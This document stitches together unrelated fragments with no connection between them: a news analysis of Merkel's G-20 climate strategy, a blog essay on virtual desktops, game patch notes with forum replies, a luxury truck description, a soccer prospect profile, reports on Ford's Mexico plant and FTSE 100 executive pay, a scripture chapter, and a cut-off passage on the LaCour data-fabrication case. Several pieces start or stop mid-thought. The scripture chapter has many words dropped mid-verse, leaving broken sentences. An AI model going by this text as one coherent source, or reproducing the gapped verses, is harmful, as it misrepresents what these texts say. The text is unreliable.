The telephone call made it clear to Merkel that her strategy for the G-20 summit in early July might fail. The chancellor had intended to clearly isolate the United States. at the Hamburg meeting, hoping that 19 G-20 countries would underline their commitment to the Paris Agreement and make Trump a bogeyman of world history. A score of 19:1.
If even Trudeau is having doubts, though, then unity among those 19 is looking increasingly unlikely. Since then, the new formula has been to bring as many countries as possible together against one.
The first cracks began appearing on the Thursday before last. After returning from the G-7 summit in the Sicilian town of Taormina, Merkel had sent a clear signal to her team: "We have to stay together, we have to close ranks."
From the G-6 to the G-3
But even before Trump announced the American withdrawal from the Paris Agreement that evening in the White House Rose Garden, it had become clear in Berlin that they would miss their first target. Led by the Italian G-7 presidency, the plan had been for a joint reaction to Trump's withdrawal, an affirmation from the remaining six leading industrial nations: We remain loyal to Paris.
Suddenly, though, Britain and Japan no longer wanted to be part of it. British Prime Minister Theresa May didn't want to damage relations with Trump, since she would need him in the event of a hard Brexit, the Chancellery surmised last week. And given the tensions with North Korea, Japanese Prime Minister Shinzo Abe couldn't put his country's alliance with the U.S. at risk. In other words: Climate policy is great, but when it comes to national interests, it is secondary.
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In the end, the Germans, French and Italians were on their own. The G-6 had become the G-3.
It is a defeat for Merkel, and not just when it comes to climate policy. It is also a setback for her claim to leadership on the global stage. Germany's geopolitical influence, the incident shows, remains limited. When it comes to power, security and interests, Germany is a not a global player, but a mid-sized power that isn't even able to keep Europe together.
The German chancellor may have become the hero of liberals and democrats around the globe, but she is unable to fulfill the expectations placed on her as the putative "leader of the free world," at least not when it comes to power politics. Even Merkel's psychological deftness in dealing with the posturing potentates of the world isn't enough to make up for the fact that Germany is not a global power when it comes to foreign and security policy.
America, it seems, will remain the world's power broker for the time being.
Unpredictable Variables
When the most powerful heads of state and government gather in Hamburg in less than a month, that fact could make things difficult for the event's German hosts, and not just when it comes to climate policy. The international situation hasn't been this unclear in a very long time and it is impossible to predict how the meeting participants will act and how the summit will unfold. There are "so many fault lines," says a source in the Chancellery: The battle for free trade and protectionism, the war in Syria, the Qatar crisis and the ongoing fighting in Ukraine all pose a threat to summit bonhomie.
In internal discussions, a list of unpredictable variables has been drawn up. At the very top is Donald Trump.
Indeed, the U.S. president's first meeting with Russian President Vladimir Putin threatens to overshadow the entire summit. Merkel had hoped that the two would organize a meeting prior to the Hamburg summit so that their encounter would not become a central issue. But now, all eyes are likely to be on the face-to-face meeting between the leaders of America and Russia, particularly given that the investigation into the Trump campaign's possible ties to Moscow is gaining steam in Washington.
In Berlin, preparations for the summit are continuing full speed ahead, with the Chancellery focusing primarily on the preparation of two documents. One is the summit's official closing communiqué, which all 20 heads of state and government are to sign. The document is to reflect Merkel's stamp on the summit, and it focuses on a broad array of issues from trade to Africa to women's rights.
Several drafts have circulated among the G-20 members in recent weeks. Of particular note: There isn't a single mention of the climate in the document. There is a decent possibility that, if the U.S. is to sign it, the closing document will remain completely silent on climate issues.
Hope Fades
In parallel, though, Merkel's advisers are working on an "Action Plan on Climate, Energy and Growth," a document that had initially been planned for the 19 in Merkel's original 19:1 calculation. But hope is fading that enough heads of state and government can be found to sign the document. Thirteen pages long, the paper asks signatories to commit themselves to "the restructuring of energy systems consistent with Paris" and to their "nationally determined contributions" to cutting greenhouse gas emissions.
For the Americans, the document is an imposition. It includes a number of items in which the Paris Agreement is expressly affirmed and substantiated - the pact that Trump has just withdrawn from. "Our actions are guided by the Paris Agreement," the document states, the goal of which is that of "holding global temperature increases to well below 2 degrees." The paper also discusses the reduction of greenhouse gas emissions by 2050 and the $50 billion that industrialized nations have pledged to make available to help developing nations reach their targets. An array of items that, as has recently become apparent, Trump has little use for.
Officials in Brussels are cautiously optimistic. "We expect that the document will be signed by the 19 countries," says one diplomat involved in G-20 preparations. Nobody at EU headquarters, though, has any hope that the U.S. will join them.
In Berlin, the mood is less confident. There are widespread concerns that a whole list of countries might pull back out of fear of the consequences for their relations with Trump - something they aren't willing to risk over the question as to how hot it might be on the planet in 100 years. Indeed, the Chancellery has begun recalibrating its view of success, now content to settle for a situation in which no other country joins the U.S. in withdrawing from the Paris Agreement.
German officials believe there are several countries whose signatures to the document are by no means certain. Turkish President Recep Tayyip Erdogan, for instance, could be on the search for revenge following the dispute over German parliamentarians' rights to visit German troops stationed in Incirlik. The Saudis, meanwhile, might jump ship because of the multibillion-dollar defense deal they just signed with Trump.
A Lesson from China
Moscow, meanwhile, has signaled to the Chancellery that Russian President Vladimir Putin stands behind Paris and would sign the document. But can he really be trusted? Merkel has spent a lot of time on the phone in recent days and has also been traveling. This week, she visited Argentina and Mexico, both of which are allies when it comes to climate issues.
Just how difficult it is to keep partners together on climate protection issues was on full display to Merkel last Friday in Brussels. Chinese Prime Minister Li Keqiang was in the EU capital and was eating dinner with European Council President Donald Tusk and Commission President Juncker just as Trump announced his withdrawal from Paris. The trio didn't bother to turn on the television since they already knew what the U.S. president was going to announce.
Indeed, they had planned to issue a joint response the next day at the EU-China summit. They had negotiated a summit declaration in which both sides would call for a significant intensification of the fight against climate change. High-ranking EU officials had already begun crowing that the statement was the response from China and Europe to Trump's effrontery.
But it never happened. It wasn't because the two sides disagreed on climate issues, but there was discord surrounding a different part of the statement dealing with trade policy. Ultimately, the disagreement could not be resolved and Juncker, Tusk and Li appeared before the press after a three-hour delay - and without a joint statement on the climate.
Indeed, trade policy is likely to be another significant sticking point at the G-20 summit in Hamburg. The Europeans got an indication of what is likely in store for them on Wednesday and Thursday of this week at the ministerial meeting of the Organization for Economic Cooperation and Development (OECD). The U.S. declined even to support sentences that merely repeated the minimal compromise that Trump had grudgingly agreed to in Sicily. The G-7 had only been able to find common ground on a few thin statements criticizing predatory pricing or condemning overcapacity in steel production. In the closing document of the OECD meeting on globalization, there is now no mention at all of trade or climate.
The Role of Mediator
As such, the G-20 could result in something that hosts of the event normally do all they can to avoid: open discord. On the issue of climate, the decisive question will be whether the Germans are willing to seek conflict with Trump. But it currently doesn't look as though they are, with government officials eager to avoid turning the climate statement into an instrument of power politics. Instead, Merkel is likely to retreat to a role that suits her better anyway: that of mediator. As the host, officials say, Germany will focus on playing intermediary at the summit.
On the other hand, though, Merkel also isn't interested in the type of compromise proposed by Trudeau. After the G-7, she said that climate protection was too important to her to engage in compromise.
Ultimately, the end result could be that the issue is largely ignored. The G-20 isn't a climate conference, officials are saying, and the conflicts might be better suited for the next global climate summit, scheduled to take place in Bonn at the end of the year.
The German population, of course, would almost certainly prefer to see the chancellor stand up to Trump. If Merkel, who has staked a significant portion of her political legacy on climate change, were to exclude climate from the G-20 summit, she could face accusations of caving in to the U.S. president. And in a campaign year, that's not a good look. Indeed, the center-left Social Democrats are already positioning themselves to benefit. "It would of course be good if as many participants of the G-20 summit as possible were to reconfirm their adherence to the Paris climate deal," says Foreign Minister Sigmar Gabriel of the SPD. "Silent consent in opposition to the climate deal cannot be the message sent by the G-20."
Editor's note: Following the publication of this story on Friday, a spokesperson for Canadian Prime Minister Justin Trudeau contacted DER SPIEGEL and requested that we publish a response from the prime minister's office. It follows, along with our own reply:
The Prime Minister remains fully committed to fulfilling Canada's commitments in the Paris Agreement, and we remain steadfast in our approach. In his discussion with the Chancellor, the Prime Minister specifically emphasised our shared commitment to fighting climate change, strengthening environmental protection, and pursuing clean energy and sustainable development. And he looks forward to furthering the discussion about the Paris Agreement alongside our partners at the G-20 Summit in Germany in July. The suggestion that our approach has changed or that the Prime Minister was in favour of removing the Paris Agreement from the G-20 Action Plan is incorrect. -- Cameron Ahmad, press secretary, Prime Minister's Office, Canada
Flash forward to 2012, and not only is it workable, it is viable, and very realistic. Note that as I go through this, when I am talking about a desktop, I mean either a physical desktop machine or a laptop, but in either case it is the standard CPU/RAM/hard disk system connected to a monitor or monitors with a mouse/trackball and keyboard via docking station, cables, or wireless and running a fat operating system - whether that is Linux, Windows, or Mac.
I argue that in a typical enterprise environment, the 80/20 rule applies when you look at application use and processing power. 80% of the people are using only 20% of the computing power in their machines. If you have any experience in large enterprises you are snorting because it is unlikely they are even using 20%, but let's use this for illustration. The majority of worker bees are doing simple tasks. They are writing documents, whether in a word processor or in email, they are preparing or delivering presentations, which really is only specialized word processing. They are surfing the web, administering systems, working or submitting tickets, or reading. None of these tasks is particularly computationally taxing.
The other 20% are doing tasks that are computationally taxing. Advanced data analytics, audio/video/graphical composition, CAD/CAM, data or event modeling, even some local compilation to ensure builds will work. These people have need for some serious horsepower.
Now, five years ago, I would have argued that the group doing the computationally taxing work could have justified a personal desktop device. The rest could be connected by a thin client to a virtual desktop located in the server room. Today, I am not sure I can support the argument that the 20% need to have a dedicated machine. Are there corner cases for a personal desktop? Sure. The most obvious one to me is the dedicated system, such as a DAW or CAD/CAM system where there may be additional inputs needed for specialized equipment. In the rest of the cases, where it is just an issue of computation within a system, there really is no need for a desktop anymore.
What drove this home for me were a couple of things. I work for a company that develops software. We used to issue each developer two servers for their development use. As you can imagine, that is expensive, both in terms of hardware and associated environmental costs. When we started the current round of development, we had the option of either refreshing the servers or virtualizing. The solution was to move to virtual development environments, which reduced the server needs and saved us a bit in energy costs. The developers remote into these machines from their desktops, write and build their code, check it in and out of our version control system, and essentially do their work. There is no real difference between having a dedicated machine and running in a virtual environment. In the case of those developers who have been here longer, moving to a virtual environment actually increased their ability to work because of the age of their original development platforms.
But the real eye opener came when our IT department reclaimed the laptops issued to us and reformatted them to the corporate standard Windows 7 x86_64. I was running Linux. I was not a happy camper, but they played the policy card and I really did not have the time or energy to fight them. I had real work to do and this was just a distraction. So I did what any Linux person would do. I tared up my desktop and pushed the contents up to my file server (what? You don't have your own rack of servers to work with? Just because I virtualized my developers does not mean I did not keep a couple of servers for my own use). OK, so I have the luxury of having a number of test servers at my disposal and I converted one of them into a KVM host and stuck my desktop into a virtual container.
No harm, no foul, and here is my laptop, please install putty and a VNC viewer on it so I can use it as a dumb terminal. I was then told it would take two days to image my machine. My retort was to ask to have my iPad put on the wireless network so I could continue to work. Or at least check my email. (Yeah, yeah, this would have worked with any Android tablet too - I just happen to use iDevices, get over it). So as I was sitting in my cube wondering what I was going to do with the next two days, I wondered...is there an app for that? The answer is yes. A quick search of the web and I found a suitable ssh client and the Real VNC viewer. I hooked up my bluetooth keyboard and bang, I was operational - remoted into my desktop. That night I stopped and picked up a VGA cable and I could remote the video from my iPad to my larger monitors. But this got me thinking. If I could do this with my iPad, could I do it with my iPhone? Well, I would not recommend it without a way to remote your video to something bigger, but the answer was yes. And I remembered my conversation. I had moved my desktop to my phone. What was a theory two years ago in my mind had become a practical reality.
I am not going to say that we will see a conversion to this new model overnight. But I think we will see it sooner, rather than later. With the release of the Microsoft Surface, which, as pointed out by one pundit is really nothing more than an Ultrabook® with a removable keyboard, along with Cisco's almost persistent marketing of Bring your own device, and VMWare Federal harping on the cloud and provisioning desktops with thin clients, the move is afoot. And there are solid economic reasons to do this. Further, with the release of the Intel Sandybridge chip, computing power at the server side is only going to increase and we will see a much larger push to move desktop environments, for those that need them, into virtual containers. We will also see another rapid increase on n-tier systems to support mobile device access. To achieve this, we, as administrators and architects have to consider a new raft of issues, the least of which is incorporating IPv6 in our networks, secure network access, and platform agnostic authentication methodologies. These require cutting edge software and forward thinking.
Characters who die in Hardcore and Onslaught leagues are now permanently shown on the ladder they died in, marked in grey. The in-game character still becomes a Standard character, as usual.
Fixed a bug where Blood Rage would not get modifications such as duration increases when the buff reset due to monster kill.
Fixed a bug that would allow the boss of The Coward's Trial to drop Anarchy or Onslaught Unique items.
The Holy Resolve notable has been renamed to Riddle of Steel.
Combat sounds are no longer played when the Ambient Sound volume slider is changed.
Improved the upcoming information about events shown on the character screen.
Players will get a chat icon indicating how many challenge categories they have completed when chatting in Anarchy and Onslaught leagues.
Fixed a bug where you create (frozen) characters in leagues before their registration period started by using the league selection drop down on the character screen.
Fixed a bug where holding shift with any item would put it into reuse mode even if not a currency item.
Fixed a bug where release of shift was not always detected when reusing currency items.
Fixed a client crash related to NPC audio.
Posted by Qarl
on Grinding Gear Games on
Great to see last changes before the leagues go up :) Keep it up GGG! Posted by Rhino2222
on on Quote this Post
" Qarl Version 0.11.0c
Combat sounds are no longer played when the Ambient Sound volume slider is changed.
The purpose of those sounds was to give users feedback on just how loud those sounds would be when playing - unless you're specifically referring to non-ambient sounds playing when the slider was moved? The purpose of those sounds was to give users feedback on just how loud those sounds would be when playing - unless you're specifically referring to non-ambient sounds playing when the slider was moved? IRON MAN Posted by Dreggon
on on Quote this Post
Does this mean the effects of quality on Blood Rage is fixed when refreshed as well?
Also, in game it said it includes the OB Supporter Packs, let's see them! IGN: Aux Last edited by Aux on Jun 7, 2013, 7:30:01 AM Posted by Aux
on on Quote this Post
" Aux
Also, in game it said it includes the OB Supporter Packs, let's see them! Does this mean the effects of quality on Blood Rage is fixed when refreshed as well?Also, in game it said it includes the OB Supporter Packs, let's see them!
I would imagine so.
No mention of the uniques dropping that were supposed to be onslaught/anarchy only? That's interesting. I would imagine so.No mention of the uniques dropping that were supposed to be onslaught/anarchy only? That's interesting. Posted by Lunares
on on Quote this Post
If this fixes quality blood rage I WILL LOVE YOU FOREVER. inb4IgobuysupporterpackswhenIgetmoney Posted by Nivalan
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The G63 AMG 6x6 essentially is a G63 AMG, stretched to accommodate a pickup bed and six wheels, all of which are driven by the awesome direct-injected, 5.5-liter twin-turbo V-8 that resides under the hood. Just as in the same-old, boring, four-wheeled G63 AMG, which retails for $135,205, the 6x6 makes 544 horsepower and generates 560 lb-ft of torque. Its mill is mated to a seven-speed automatic transmission, and it manages to move the four-ton-plus behemoth with considerable authority. AMG claims that the sprint from standstill to 60 mph takes around seven seconds, and the truck can top 100 mph. Forty percent of the torque is sent to the middle axle, while the front- and the rear axle each receive 30 percent. The tire pressure can even be adjusted with a built-in air compressor, which is useful when driving on different terrains.
The G63 AMG 6x6 is derived from a special edition of the G-wagen developed for the Australian armed forces, but unlike that purposeful vehicle, the concept is fully equipped with every conceivable luxury option. The center console is fitted with carbon fiber in a feeble effort to counter the 6x6's excessive weight, and the seats and door trim are finished in diamond-quilted leather.
The concept is longer, wider, and taller than a Chevrolet Suburban; and with off-road tires, five locking differentials, 18 inches of ground clearance, and more than three feet of fording depth, the G63 6x6 is predestined to tackle any kind of terrain—so long as said terrain is large enough to hold the six-wheeler.
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Wherefore art thou Tommy Thompson?
Following his tenure with the Academy in the spring of 2013, as well as a short stint with the Earthquakes Reserves, Thompson enrolled at Indiana University. He played one season of college soccer for the Hoosiers, helping them make the NCAA tournament and earning himself Big Ten Freshman of the Year honors. An injury during the regular season kept him out of six games and hampered him going into the tournament. Wanting to bring him back to California for treatment expedited the Earthquakes efforts to sign him to a professional contract.
Thompson's injury, a troublesome right knee, required surgery, and it was nearly half a year before he could take to the Earthquakes training field again. And now, healthy again, the teenager has been everywhere but San Jose in recent weeks: on loan with the Sacramento Republic FC and with the U.S. U-20 men's national team for a tournament in Carson. On Sunday, he featured for the Quakes in the second half of their friendly with Atletico Madrid at Candlestick Park.
Could a return to the first team and MLS be far behind?
"I can't wait," said Thompson following his shift against Atleti. "Ever since I've been back from injury, I've put my head down and just been grinding. Working on my skills, working on my finishing, and getting back to that match fitness: Going to Sacramento has really helped me out with that. I've been able to get into tons of games in these past couple of weeks, and it's made me as ready as I'm ever going to be."
A native of Granite Bay, an outlying community of Sacramento, Thompson felt right at home playing for the Republic. After making a token three minute appearance for the Earthquakes at the conclusion of the team's 1-0 road loss at oronto FC on June 7, Thompson was sent on loan to the Quakes' USL PRO affiliate in an effort to get him more playing time.
"It's been a difficult time with Tommy," said Earthquakes head coach Mark Watson. "He had the surgery and it took us five months to get him back on. We want to move him along as quickly as possible, but we also want to be patient with him.
"It is important that he is getting games and developing," continued Watson. "Throughout this process, we were not able to do that, so we are fortunate to have Sacramento to do that for him."
He debuted for the capital city side on June 26, against Arizona United FC, and has played more than a half-dozen matches since, including a friendly against Mexico's Atlas FC. Following a two game road trip to the east coast that ended with a win against the Charlotte Eagles, Thompson flew cross-country to join the U.S. U-20s for the last two games of the National Training Center Invitational. He scored on his debut against Bermuda as part of the USA's 4-0 victory. Returning to Sacramento after the tournament, the midfielder played in both of the Republic's two friendlies against EPL side West Bromwich Albion.
Sunday against Atletico marked his first time back in black and blue since his inclusion in the Earthquakes match-day 18 against Chivas USA on July 2, and his first appearance since his MLS debut against Toronto.
"We brought in Tommy, and he fit right in," said Watson. "His attacking movement was good and we created a lot of chances. I thought he did really well."
When the halftime whistle sounded and players from both the Quakes and Atletico Madrid retreated to the locker room, Thompson stayed on the pitch to receive special instructions from assistant coach Nick Dasovic: get ready to start the second half. The intensity of his warm-ups increased, and when the teams returned to the field, Thompson stationed himself at forward.
"It was almost surreal," said Thompson. "It was a dream come true for me. I had my [MLS] debut already, but I was only out there for three minutes or so. This was a great opportunity for me. It was nice for me to be here and get acclimated with the guys, and I am excited to be playing again."
The first 45 minutes had finished scoreless, but Atleti looked the better attacking side. Thompson, along with substitute Billy Schuler, played with a scrappy energy in the second half that saw the balance of the game tip back toward the Earthquakes. Ten minutes in, Thompson had a one-on-one scoring opportunity against goalkeeper Miguel Moya, but he muffed the chance.
"I had so much space, but there is really no excuse for that," assessed Thompson. "I faked out the goalie and I went for the chip and I mishit it. But it's a learning process, and I am glad it happened in a friendly."
Thompson played the entire second half, but neither he nor his teammates could find the back of the net, and the game was decided on penalty kicks 4-3 in favor of Atletico. For coach Watson, it was an impressive 45 minutes from the 18-year old, especially as it came against one of the best club teams in the world.
"He is playing against some very good players, some strong players, top professionals," said Watson, "and he held his own. He had two or three really good chances, and he was in the clear one time. It's his first time really playing for us this year, after sitting out the first five months recovering from an injury, and I thought he did really well."
While Thompson did well enough to get the coach's attention, his permanent recall from Sacramento will likely be delayed a few more weeks. The Quakes as a whole are playing some very good soccer right now, and hope still exists that the current roster can pull itself out of the Western Conference cellar and into the race for the postseason. Watson sounded as if he wasn't quite ready to make Thompson a regular in his MLS match-day squad, so a return to the capital is likely to come next.
"The few months he has been playing and getting stronger, getting fitter, and playing really well," said Watson. "We've watched his games with Sacramento, we've watched his games with the national team, and he's on a really good path right now.
"Tommy is still a young guy, and he has a long way to go and a lot of development, but you can see that he has talent. We'll be monitoring his progress, and we'll look to bring him in as soon as he is ready."
Though not exactly what he wanted to hear, Thompson knows that he has to earn his way back to San Jose. The excitement of playing in the Bay Area for the first time as a member of the Earthquakes should provide plenty of motivation for Thompson to continue building up his fitness with the Republic. And he'll be ready for the phone to ring, whenever it comes.
DETROIT/WASHINGTON/MEXICO CITY (Reuters) - Ford Motor Co on Tuesday announced it would invest $1.6 billion to build more small cars in Mexico, starting in 2018, triggering a fresh blast of criticism from Republican front-runner Donald Trump.
Following the announcement, Trump labeled the move "an absolute disgrace."
"These ridiculous, job crushing transactions will not happen when I am president," the real estate billionaire said in a statement released by his headquarters.
Ford stood by comments on the issue made two weeks ago by its chief executive, Mark Fields, who said the company would not back down on its production strategy.
"We are a global, multinational company and we will invest to keep us competitive and we will do what makes sense for the business," Fields said.
The automaker announced the investment in Mexico as Trump, U.S. Senator Ted Cruz of Texas and Ohio Governor John Kasich competed in a primary in Wisconsin seen as crucial in the race to become the Republican presidential candidate in the November election.
Trump, who has criticized U.S. companies for "sending jobs to Mexico," has singled out Ford for some of his harshest remarks.
But data indicates that Ford builds fewer vehicles and employs fewer workers in Mexico than do its Detroit-based rivals, General Motors Co and Fiat Chrysler Automobiles' Chrysler unit.
In the United States, Ford has 55,300 hourly paid plant workers, GM has 54,000 and FCA has 36,600, the companies said.
GM has about 12,000 hourly paid workers in Mexico, while FCA has 9,547 and Ford has 6,191, the companies said on Tuesday.
In 2015, 80 percent of Ford's North American production came from its U.S. plants while 63 percent of GM's North American production came from its U.S. plants and 64 percent of FCA's North American production came from its U.S. plants, according to IHS Automotive.
A senior Mexican official said Mexico had stepped back from a high-profile announcement on the Ford plant to avoid stoking tensions in the U.S. election debate stemming from Trump's comments.
"Due to the (election) debate, they (Ford) don't want to be in the spotlight," the official said, speaking on condition of anonymity.
Citing Mexican sources, Reuters reported the Ford plans in January.
Joe Hinrichs, Ford executive vice president and head of the Americas, said on Tuesday that the automaker is investing more money in Mexico "to improve our small-car profitability."
In Detroit, United Auto Workers President Dennis Williams described the new Ford investment in Mexico as "a disappointment and very troubling."
U.S. Senator Sherrod Brown, an Ohio Democrat, said corporations moving jobs out of the United States only to profit by shipping products back "is why people are so upset with corporate America that outsources so often."
Hinrichs declined to say which products Ford plans to build at the San Luis Potosi plant, which is slated to open in 2018 and will employ 2,800 by 2020.
U.S. supplier sources have said the plant is expected to build the next-generation Ford Focus compact, as well as a Focus-based hybrid gasoline-electric model aimed at rival Toyota Motor Corp <7203.T> and described as a "Prius fighter."
Ford joins a growing list of automakers investing billions in new production capacity in Mexico, where lower labor costs and favorable currency exchange mean companies have a better chance of turning a profit on low-margin small cars. And Mexico's numerous international free trade agreements allow for more profitable exports from Mexico to many countries, said Sean McAlinden, chief economist with the Center for Automotive Research.
McAlinden said that Ford's Mexico workers make about $8.25 per hour in wages and benefits, compared with Ford's U.S. workers, who get $60 per hour in wages and benefits.
During contract talks last summer, Ford confirmed that it would move Focus production out of its Wayne, Michigan plant in 2018. The UAW said at the time that Ford planned to build the next Focus in Mexico.
Hinrichs on Tuesday reiterated that Ford is planning to build two new vehicles at the Wayne plant, beginning in 2018, but declined to provide details.
Bosses of the UK's biggest companies earn millions in "excess remuneration", a report reveals.
Pay packages designed to incentivise FTSE 100 chief executives had little effect on company performance, it found.
Reckitt Benckiser, ICAP, and BG Group are among the "worst value FTSE 100 companies", said Zurich-based financial research firm Obermatt.
The report was conducted for BBC Radio 4's More or Less programme.
Pay-for-performance
The researchers compared profit growth and total shareholder return against the total realised pay earned by bosses between 2008 and 2010.
They found that former Reckitt Benckiser boss Bart Becht earned £138.6m more than the performance of his company justified - an 1,199% overpayment.
In response to the report, a spokesperson for Reckitt Benckiser told the BBC: "We do not recognise these figures, which have not been put to us for verification, and believe that Obermatt is completely mistaken in its analysis of our remuneration policies."
"Shareholders in Reckitt Benckiser have enjoyed some of the highest returns in the FTSE 100 over the past ten years."
According to the report, bosses at ICAP and BG Group earned £31.6m and £30.3m respectively in "excess remuneration".
But Admiral, Autonomy and Hargreaves Lansdown were ranked best for "pay-for-performance value".
Neil Burrows, head of external communications for BG Group, told the BBC: "Our policy is to align remuneration policy with the interests of shareholders. The majority of our chief executive's pay package is linked to long-term performance incentives.
"Our share price has risen 400% since 2000 and we've outperformed the FTSE 100 index by a significant margin in the last three years."
Dr Hermann Stern, Obermatt chief executive, told the BBC: "We found that there was absolutely no pay-for-performance link in the UK for those three years.
"Remuneration committees never want to pay below average. They are more worried about retention than performance. So this has led to spiralling pay inflation."
Shareholder spring
In what's been dubbed a "shareholder spring", shareholders of several companies, including Aviva, Trinity Mirror, Barclays and Pendragon, have registered their displeasure at overly-generous pay and bonus packages.
Earlier this week, Aviva's boss resigned after his firm's pay plan was rejected by 54% of voting shareholders.
And Barclays suffered embarrassment last month when nearly a third of shareholders refused to back the bank's remuneration report.
On Thursday, Business Secretary Vince Cable told the BBC that levels of executive pay were "ludicrous".
Under proposals in the Queen's Speech, delivered on Wednesday this week, shareholders would be able to vote down directors' pay they deemed excessive.
1 And it came to pass that they did go forth, and began to preach the word of God unto the people, entering into their synagogues, and into their houses; yea, and even they did preach the word in their streets.
2 And it came to pass that after much labor among them, they began to have success among the class of people; for behold, they were cast out of the synagogues because of the coarseness of their apparel—
3 Therefore they were not permitted to enter into their synagogues to worship God, being esteemed as filthiness; therefore they were poor; yea, they were esteemed by their brethren as ; therefore they were as to things of the world; and also they were poor in heart.
4 Now, as Alma was teaching and speaking unto the people upon the hill , there came a great unto him, who were those of whom we have been speaking, of whom were , because of their poverty as to the things of the world.
5 And they came unto Alma; and the one who was the foremost among them said unto him: Behold, shall these my brethren do, for they are of all men because of their poverty, yea, and more especially by our priests; for they have us out of our synagogues which we have labored abundantly to build with our own hands; and they have cast us out because of our exceeding poverty; and we have place to worship our God; and behold, shall we do?
6 And now when Alma heard this, he turned him about, his face immediately towards him, and he beheld with great joy; for he beheld that their had truly them, and that they were in a to hear the word.
7 Therefore he did say no more to the other multitude; but he stretched forth his hand, and cried unto those whom he beheld, who were truly penitent, and said unto them:
8 I behold that ye are in heart; and if so, blessed are ye.
9 Behold thy brother hath said, What shall we do?—for we are cast out of our synagogues, that we cannot worship our God.
10 Behold I say unto you, do ye suppose that ye God save it be in your synagogues only?
11 And moreover, I would ask, do ye suppose that ye must not worship God only in a week?
12 I say unto you, it is well that ye are cast out of your synagogues, that ye may be humble, and that ye may learn ; for it is necessary that ye should learn wisdom; for it is because that ye are cast out, that ye are despised of your brethren because of your exceeding , that ye are brought to a lowliness of heart; for ye are necessarily brought to be humble.
13 And now, because ye are compelled to be humble blessed are ye; for a man sometimes, if he is compelled to be humble, seeketh ; and now surely, whosoever repenteth shall find mercy; and he that findeth mercy and to the end the same shall be saved.
14 And now, as I said unto you, that because ye were compelled to be ye were blessed, do ye not suppose that they are more blessed who truly humble themselves because of the word?
15 Yea, he that truly humbleth himself, and repenteth of his sins, and endureth to the end, the same shall be blessed—yea, much more blessed than they who are compelled to be humble because of their exceeding poverty.
16 Therefore, blessed are they who themselves without being to be humble; or rather, in other words, blessed is he that believeth in the word of God, and is baptized without of heart, yea, without being brought to know the word, or even compelled to know, before they will believe.
17 Yea, there are many who do say: If thou wilt show unto us a from heaven, then we shall know of a surety; then we shall believe.
18 Now I ask, is this faith? Behold, I say unto you, Nay; for if a man knoweth a thing he hath no cause to , for he knoweth it.
19 And now, how much is he that the of God and doeth it not, than he that only believeth, or only hath cause to believe, and falleth into ?
20 Now of this thing ye must judge. Behold, I say unto you, that it is on the one hand even as it is on the other; and it shall be unto every man according to his work.
21 And now as I said concerning faith— is not to have a perfect knowledge of things; therefore if ye have faith ye for things which are seen, which are true.
22 And now, behold, I say unto you, and I would that ye should remember, that God is unto all who believe on his name; therefore he desireth, in the first place, that ye should believe, yea, even on his word.
23 And now, he imparteth his word by angels unto men, yea, only men but women also. Now this is not all; little do have words given unto them many times, which the wise and the learned.
24 And now, my beloved brethren, as ye have desired to know of me what ye shall do because ye are afflicted and cast out—now I do not desire that ye should suppose that I mean to judge you only according to that which is true—
25 For I do not mean that ye all of you have been compelled to humble yourselves; for I verily believe that there are some among you who themselves, let them be in whatsoever circumstances they might.
26 Now, as I said concerning faith—that it was not a perfect knowledge—even so it is with my words. Ye cannot know of their surety at first, unto perfection, any more than faith is a perfect knowledge.
27 But behold, if ye will awake and arouse your faculties, even to an experiment upon my words, and exercise a particle of faith, yea, even if ye can no more than to believe, let this desire work in you, even until ye believe in a manner that ye can give place for a portion of my words.
28 Now, we will compare the word unto a . Now, if ye give place, that a may be planted in your , behold, if it be a true seed, or a good seed, if ye do not cast it out by your , that ye will resist the Spirit of the Lord, behold, it will begin to swell within your breasts; and when you feel these swelling motions, ye will begin to say within yourselves—It must needs be that this is a good seed, or that the word is good, for it beginneth to enlarge my soul; yea, it beginneth to my , yea, it beginneth to be delicious to me.
29 Now behold, would not this increase your faith? I say unto you, Yea; nevertheless it hath not grown up to a perfect knowledge.
30 But behold, as the seed swelleth, and sprouteth, and beginneth to grow, then you must needs say that the seed is good; for behold it swelleth, and sprouteth, and beginneth to grow. And now, behold, will not this strengthen your faith? Yea, it will strengthen your faith: for ye will say I know that this is a good seed; for behold it sprouteth and beginneth to grow.
31 And now, behold, are ye sure that this is a good seed? I say unto you, Yea; for every seed bringeth forth unto its own .
32 Therefore, if a seed groweth it is good, but if it groweth not, behold it is not good, therefore it is cast away.
33 And now, behold, because ye have tried the experiment, and planted the seed, and it swelleth and sprouteth, and beginneth to grow, ye must needs know that the seed is good.
34 And now, behold, is your ? Yea, your knowledge is perfect in that thing, and your is dormant; and this because you know, for ye know that the word hath swelled your souls, and ye also know that it hath sprouted up, that your understanding doth begin to be enlightened, and your doth begin to expand.
35 O then, is not this real? I say unto you, Yea, because it is ; and whatsoever is light, is , because it is discernible, therefore ye must know that it is good; and now behold, after ye have tasted this light is your knowledge perfect?
36 Behold I say unto you, Nay; neither must ye lay aside your faith, for ye have only exercised your faith to plant the seed that ye might try the experiment to know if the seed was good.
37 And behold, as the tree beginneth to grow, ye will say: Let us nourish it with great care, that it may get root, that it may grow up, and bring forth fruit unto us. And now behold, if ye nourish it with much care it will get root, and grow up, and bring forth fruit.
38 But if ye the tree, and take no thought for its nourishment, behold it will not get any root; and when the heat of the sun cometh and scorcheth it, because it hath no root it withers away, and ye pluck it up and cast it out.
39 Now, this is not because the seed was not good, neither is it because the fruit thereof would not be desirable; but it is because your is , and ye will not nourish the tree, therefore ye cannot have the fruit thereof.
40 And thus, if ye will not nourish the word, looking forward with an eye of faith to the fruit thereof, ye can never pluck of the fruit of the .
41 But if ye will nourish the word, yea, nourish the tree as it beginneth to grow, by your faith with great diligence, and with , looking forward to the fruit thereof, it shall take root; and behold it shall be a tree unto everlasting life.
42 And because of your and your faith and your patience with the word in nourishing it, that it may take root in you, behold, by and by ye shall pluck the thereof, which is most precious, which is sweet above all that is sweet, and which is white above all that is white, yea, and pure above all that is pure; and ye shall feast upon this fruit even until ye are filled, that ye hunger not, neither shall ye thirst.
There is significant empirical evidence that in-person canvassing can produce significant attitude changes on other issues, and those findings, along with LaCour’s were used as “a template” in the recent Yes Equality campaign in Ireland.
However, when a group of researchers were unable to replicate LaCour’s findings, they dug a bit deeper into his work and discovered that large portions of his paper appear to be faked. Even the organization credited with funding the study has no record of involvement with LaCour or his work. This led LaCour’s faculty co-author to request that the paper be retracted, and led Science to publish an official “editorial expression of concern.”
For his part, LaCour has vowed to respond to the allegations of faked data in detail:
